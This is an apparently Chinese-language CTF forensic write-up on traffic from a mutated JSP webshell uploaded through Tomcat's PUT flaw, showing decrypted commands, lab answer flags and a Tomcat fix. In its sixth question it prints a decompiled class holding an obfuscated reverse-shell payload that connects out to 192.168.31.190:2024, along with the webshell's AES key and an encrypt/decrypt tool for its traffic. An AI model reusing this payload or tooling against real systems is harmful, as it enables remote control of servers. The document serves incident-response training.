某变异Webshell流量分析

某变异Webshell流量分析

某变异Webshell流量分析

1
不提供渗透进入

1、黑客上传的木马文件名是什么?

过滤http最下面就是

image

flag{hello.jsp}

2、黑客上传的木马连接密码是什么?

首先是定义了两个函数一个用来base64解密,另一个用来解压缩

image

随后加载了一段base64字符串

image

分析base64的木马,发现var10_7​传递给了getHeader​方法最后还传递给了getParameter​方法,这里意思就是获取var10_7​这个参数的值

image

继续向上分析看到是由P()函数的返回值来的,然后结合流量包POST里的参数也是SjIHRC7oSVIE​得到所以SjIHRC7oSVIE​大概率就是连接密码

image

当然结合HTTP请求也能看出来

image

flag{SjIHRC7oSVIE}

3、分析黑客上传的木马,找到木马通信key是什么?

继续分析木马看到有个K()函数

image

传入SecretKeySpec​进行加密

image

flag{oszXCfTeXHpIkMS3}

4、黑客连接webshell后执行的第一条命令是什么?

加密与解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package com.ezgame;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.io.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.Scanner;
import java.util.zip.GZIPInputStream;
import java.util.zip.GZIPOutputStream;
public class Test4 {
    private static final String KEY = "oszXCfTeXHpIkMS3";
    private static final String ALGORITHM = "AES";
    public static void main(String[] args) throws Exception
    {
        Scanner scanner = new Scanner(System.in);
        System.out.println("请输入一个数字(1-加密,2-解密):");
        int number = scanner.nextInt();
        switch (number){
            case 1:
                //加密
                byte[] originalString = Files.readAllBytes(Paths.get("/Users/xiaole/code/java_code/gsl-ekp/src/main/java/com/ezgame/shell.class"));
                byte[] bytes = gzipEncode(originalString);
                String encryptedString = encrypt(bytes);
                System.out.println("加密后的字符串: " + encryptedString);
                break;
            case 2:
                //解密
                Scanner scanner2 = new Scanner(System.in);
                System.out.println("请输入要解密base64的字符串:");
                String encryptedString2 = scanner2.nextLine(); // 获取用户输入的字符串
                scanner.close();
                byte[] decryptedBytes = decrypt(encryptedString2);
                byte[] ungzipBytes = b(decryptedBytes);
                Files.write(Paths.get("/Users/xiaole/code/java_code/gsl-ekp/src/main/java/com/ezgame/shell_decrypted.class"), ungzipBytes);
                System.out.println("解密后的字节数组: " + decryptedBytes);
        }
    }
    public static String encrypt(byte[] strToEncrypt) throws Exception
    {
        SecretKeySpec secretKey = new SecretKeySpec(KEY.getBytes(), ALGORITHM);
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.ENCRYPT_MODE, secretKey);
        byte[] encryptedByteValue = cipher.doFinal(strToEncrypt);
        return Base64.getEncoder().encodeToString(encryptedByteValue);
    }
    public static byte[] decrypt(String strToDecrypt) throws Exception
    {
        SecretKeySpec secretKey = new SecretKeySpec(KEY.getBytes(), ALGORITHM);
        Cipher cipher = Cipher.getInstance(ALGORITHM);
        cipher.init(Cipher.DECRYPT_MODE, secretKey);
        byte[] decodedValue = Base64.getDecoder().decode(strToDecrypt);
        byte[] decryptedByteValue = cipher.doFinal(decodedValue);
        return decryptedByteValue;
    }
    public static byte[] b(byte[] var0) throws IOException {
        ByteArrayOutputStream var2 = new ByteArrayOutputStream();
        int var10000 = 0;
        ByteArrayInputStream var3 = new ByteArrayInputStream(var0);
        int var1 = var10000;
        GZIPInputStream var4 = new GZIPInputStream(var3);
        byte[] var5 = new byte[256];
        ByteArrayOutputStream var8;
        while(true)
        {
            int var6;
            if ((var6 = var4.read(var5)) >= 0)
            {
                var8 = var2;
                if (var1 != 0) {
                    break;
                }
                var2.write(var5, 0, var6);
                if (var1 == 0) {
                    continue;
                }
            }
            var8 = var2;
            break;
        }
        return var8.toByteArray();
    }
    public static byte[] gzipEncode(byte[] input) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        GZIPOutputStream gzipOs = new GZIPOutputStream(baos);
        gzipOs.write(input);
        gzipOs.close();
        baos.close();
        return baos.toByteArray();
    }
}

将这段密文解密

image

得到执行的命令whoami

image

flag{whoami}

5、这个webshell是根据什么进行回显的?(提交ip或域名)

从上题可知dnslog域名为

image

1
flag{d5454c8975.ipv6.1433.eu.org.}

6、黑客留下后门的反连的IP和PORT是什么?(flag{IP|PORT})

解密最后一段密文

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import java.io.IOException;

public class shell {
    public shell() {
    }

    static {
        try {
            Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "echo bWtmaWZvIC90bXAvcmV2c2hlbGw7IC9iaW4vYmFzaCAtaSA8IC90bXAvcmV2c2hlbGwgMj4mMSB8IG9wZW5zc2wgc19jbGllbnQgLXF1aWV0IC1jb25uZWN0IDE5Mi4xNjguMzEuMTkwOjIwMjQgLWtleWxvZ2ZpbGUga2V5LmxvZyA+IC90bXAvcmV2c2hlbGw7IHJtIC1mIC90bXAvcmV2c2hlbGw=|base64 -d|bash"});
        } catch (IOException var1) {
            var1.printStackTrace();
        }

    }
}

发现是反弹shell 到192.168.31.190的2024端口

image

flag{192.168.31.190|2024}

7、黑客通过后门反连执行的第一条命令是什么?

tcp.port==2024过滤数据包,但是通信都是密文,这里是tls加密过的

image

从反弹shell命令中发现有个key.log的日志文件供解密,从/opt/apache-tomcat-8.5.19/bin目录下发现key.log文件

image

配置ssl解密

image

追踪流得到第一条命令ls

image

1
flag{ls}

8、请上机排查黑客新增的后门程序会连接到哪台恶意主机?(提交主机IP|port)如(flag{127.0.0.1|1234})

排查进程得到update程序

image

1
cp /proc/32479/exe /root/update

上传沙箱得到恶意IP和PORT

image

flag{10.10.13.37|4444}

9、黑客加密了/root目录下的一个重要文件,请你将解密后的文件内容作为flag提交

在/root目录下发现flagen.txt密文

进程中发现有加密程序

image

但是加密程序已经被删除,但是可以从proc中提取

1
cp /proc/29908/exe /root/lock

逆向分析程序,发现打开了 两个文件,读取和写入

image

最后读取的内容给aes加密类型是cbc

image

v19就是AES的key,很简单就是从0x41开始每次+1作为key

image

最后密文写到v5也就是flagen.txt

解密脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Random import get_random_bytes
import sys

def decrypt_file(input_file, output_file, key, iv):
    # 打开输入和输出文件
    with open(input_file, 'rb') as infile, open(output_file, 'wb') as outfile:
        # 读取并验证 IV
        iv_from_file = infile.read(AES.block_size)
        if len(iv_from_file) != AES.block_size:
            raise ValueError("IV 长度不正确!")
    
        # 创建 AES 解密器
        cipher = AES.new(key, AES.MODE_CBC, iv_from_file)

        # 循环解密文件内容
        while True:
            chunk = infile.read(AES.block_size)
            if len(chunk) == 0:
                break  # 文件结束
        
            # 解密
            decrypted_data = cipher.decrypt(chunk)

            # 写入解密的数据,移除填充
            if len(chunk) < AES.block_size:
                decrypted_data = unpad(decrypted_data, AES.block_size)
        
            outfile.write(decrypted_data)

    print("文件解密完成。")

def main():
    if len(sys.argv) != 3:
        print("用法: python decrypt.py <输入文件> <输出文件>")
        sys.exit(1)

    input_file = sys.argv[1]
    output_file = sys.argv[2]

    key = bytes([65 + i for i in range(16)])  # 密钥
    iv = bytes([97 + i for i in range(AES.block_size)])  # IV

    decrypt_file(input_file, output_file, key, iv)

if __name__ == '__main__':
    main()

image

flag{0ba9af0100c01e88a3a1280ec5b39715}

10、请你找到并修复入口漏洞后运行/root下的check_tomcat文件,将得到的flag提交

启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

编辑tomcat配置文件

1
vim /opt/apache-tomcat-8.5.19/conf/web.xml

修改为true

image

然后重启tomcat服务,最后check即可

image

flag{ba5579c780bf4a799e03a60c6be383e9}

参考

样本相关参考:https://mp.weixin.qq.com/s?__biz=MzkyNzcxNTczNA==&mid=2247486297&idx=1&sn=8de65caed3d75322d7e2eda8ab4e8c0a&source=41#wechat_redirect

0%